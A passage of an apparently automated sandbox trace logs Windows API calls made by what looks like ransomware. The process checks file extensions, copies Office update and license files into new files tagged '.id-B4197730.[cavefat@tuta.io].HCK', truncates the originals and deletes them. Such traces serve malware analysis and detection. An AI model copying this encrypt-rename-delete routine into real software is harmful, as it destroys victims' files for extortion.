office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0234.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.381] lstrlenW (lpString=".doc") returned 4 [0234.381] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0234.381] lstrlenW (lpString=".docx") returned 5 [0234.381] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0234.382] lstrlenW (lpString=".pdf") returned 4 [0234.382] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0234.382] lstrlenW (lpString=".xls") returned 4 [0234.382] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0234.382] lstrlenW (lpString=".xlsx") returned 5 [0234.382] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0234.382] lstrlenW (lpString=".ppt") returned 4 [0234.382] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.382] lstrlenW (lpString=".zip") returned 4 [0234.382] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0234.382] lstrlenW (lpString=".rar") returned 4 [0234.382] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0234.382] lstrlenW (lpString=".bz2") returned 4 [0234.382] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0234.382] lstrlenW (lpString=".7z") returned 3 [0234.382] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.382] lstrlenW (lpString=".dbf") returned 4 [0234.382] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.382] lstrlenW (lpString=".1cd") returned 4 [0234.382] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.382] lstrlenW (lpString=".jpg") returned 4 [0234.382] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0234.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.382] lstrlenW (lpString=".doc") returned 4 [0234.382] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0234.382] lstrlenW (lpString=".docx") returned 5 [0234.382] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0234.383] lstrlenW (lpString=".pdf") returned 4 [0234.383] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0234.383] lstrlenW (lpString=".xls") returned 4 [0234.383] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0234.383] lstrlenW (lpString=".xlsx") returned 5 [0234.383] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0234.383] lstrlenW (lpString=".ppt") returned 4 [0234.383] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.383] lstrlenW (lpString=".zip") returned 4 [0234.383] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0234.383] lstrlenW (lpString=".rar") returned 4 [0234.383] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0234.383] lstrlenW (lpString=".bz2") returned 4 [0234.383] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0234.383] lstrlenW (lpString=".7z") returned 3 [0234.383] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.383] lstrlenW (lpString=".dbf") returned 4 [0234.383] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.383] lstrlenW (lpString=".1cd") returned 4 [0234.383] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0234.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0234.383] lstrlenW (lpString=".jpg") returned 4 [0234.383] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0234.383] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0234.383] lstrlenW (lpString="Windows8.1-KB2999226-x86.msu") returned 28 [0234.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.386] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=595977) returned 1 [0234.386] CloseHandle (hObject=0x454) returned 1 [0234.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0234.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0234.386] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.387] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0234.387] GetLastError () returned 0x0 [0234.387] ReadFile (in: hFile=0x454, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x91809, lpOverlapped=0x0) returned 1 [0234.413] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x91810, lpOverlapped=0x0) returned 1 [0234.422] ReadFile (in: hFile=0x454, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.422] WriteFile (in: hFile=0x4b4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10c, lpOverlapped=0x0) returned 1 [0234.422] SetEndOfFile (hFile=0x4b4) returned 1 [0234.422] CloseHandle (hObject=0x4b4) returned 1 [0234.422] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.422] SetEndOfFile (hFile=0x454) returned 1 [0234.910] CloseHandle (hObject=0x454) returned 1 [0234.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString=".doc") returned 4 [0235.367] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0235.367] lstrlenW (lpString=".docx") returned 5 [0235.367] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0235.367] lstrlenW (lpString=".pdf") returned 4 [0235.367] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0235.367] lstrlenW (lpString=".xls") returned 4 [0235.367] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0235.367] lstrlenW (lpString=".xlsx") returned 5 [0235.367] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0235.367] lstrlenW (lpString=".ppt") returned 4 [0235.367] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString=".zip") returned 4 [0235.367] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0235.367] lstrlenW (lpString=".rar") returned 4 [0235.367] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0235.367] lstrlenW (lpString=".bz2") returned 4 [0235.367] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0235.367] lstrlenW (lpString=".7z") returned 3 [0235.367] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString=".dbf") returned 4 [0235.367] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString=".1cd") returned 4 [0235.367] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString=".jpg") returned 4 [0235.367] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.367] lstrlenW (lpString=".doc") returned 4 [0235.367] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0235.367] lstrlenW (lpString=".docx") returned 5 [0235.367] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0235.368] lstrlenW (lpString=".pdf") returned 4 [0235.368] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0235.368] lstrlenW (lpString=".xls") returned 4 [0235.368] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0235.368] lstrlenW (lpString=".xlsx") returned 5 [0235.368] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0235.368] lstrlenW (lpString=".ppt") returned 4 [0235.368] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0235.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.368] lstrlenW (lpString=".zip") returned 4 [0235.368] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0235.368] lstrlenW (lpString=".rar") returned 4 [0235.368] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0235.368] lstrlenW (lpString=".bz2") returned 4 [0235.368] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0235.368] lstrlenW (lpString=".7z") returned 3 [0235.368] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0235.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.368] lstrlenW (lpString=".dbf") returned 4 [0235.368] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0235.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.368] lstrlenW (lpString=".1cd") returned 4 [0235.368] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0235.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0235.368] lstrlenW (lpString=".jpg") returned 4 [0235.368] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0235.368] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.368] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27 [0235.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.473] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11594) returned 1 [0235.473] CloseHandle (hObject=0x4c8) returned 1 [0235.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220 [0235.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.747] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.747] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0235.748] GetLastError () returned 0x0 [0235.748] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0235.751] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0235.751] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.752] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10a, lpOverlapped=0x0) returned 1 [0235.752] SetEndOfFile (hFile=0x534) returned 1 [0235.752] CloseHandle (hObject=0x534) returned 1 [0235.752] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.752] SetEndOfFile (hFile=0x548) returned 1 [0235.754] CloseHandle (hObject=0x548) returned 1 [0235.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0235.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.755] lstrlenW (lpString=".doc") returned 4 [0235.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.755] lstrlenW (lpString=".docx") returned 5 [0235.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.755] lstrlenW (lpString=".pdf") returned 4 [0235.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.755] lstrlenW (lpString=".xls") returned 4 [0235.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.755] lstrlenW (lpString=".xlsx") returned 5 [0235.756] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.756] lstrlenW (lpString=".ppt") returned 4 [0235.756] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.756] lstrlenW (lpString=".zip") returned 4 [0235.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString=".rar") returned 4 [0235.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString=".bz2") returned 4 [0235.756] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString=".7z") returned 3 [0235.756] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.756] lstrlenW (lpString=".dbf") returned 4 [0235.756] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.756] lstrlenW (lpString=".1cd") returned 4 [0235.756] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.756] lstrlenW (lpString=".jpg") returned 4 [0235.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.756] lstrlenW (lpString=".doc") returned 4 [0235.756] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString=".docx") returned 5 [0235.756] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.756] lstrlenW (lpString=".pdf") returned 4 [0235.756] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString=".xls") returned 4 [0235.756] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString=".xlsx") returned 5 [0235.756] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.756] lstrlenW (lpString=".ppt") returned 4 [0235.756] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.756] lstrlenW (lpString=".zip") returned 4 [0235.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.756] lstrlenW (lpString=".rar") returned 4 [0235.757] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.757] lstrlenW (lpString=".bz2") returned 4 [0235.757] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.757] lstrlenW (lpString=".7z") returned 3 [0235.757] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.757] lstrlenW (lpString=".dbf") returned 4 [0235.757] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.757] lstrlenW (lpString=".1cd") returned 4 [0235.757] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0235.757] lstrlenW (lpString=".jpg") returned 4 [0235.757] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.757] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.757] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30 [0235.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.758] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19932) returned 1 [0235.758] CloseHandle (hObject=0x548) returned 1 [0235.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0235.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0235.759] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.759] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0235.760] GetLastError () returned 0x0 [0235.760] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0235.785] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0235.786] ReadFile (in: hFile=0x548, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.786] WriteFile (in: hFile=0x534, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x110, lpOverlapped=0x0) returned 1 [0235.786] SetEndOfFile (hFile=0x534) returned 1 [0235.787] CloseHandle (hObject=0x534) returned 1 [0235.787] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.787] SetEndOfFile (hFile=0x548) returned 1 [0235.789] CloseHandle (hObject=0x548) returned 1 [0235.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0235.791] lstrlenW 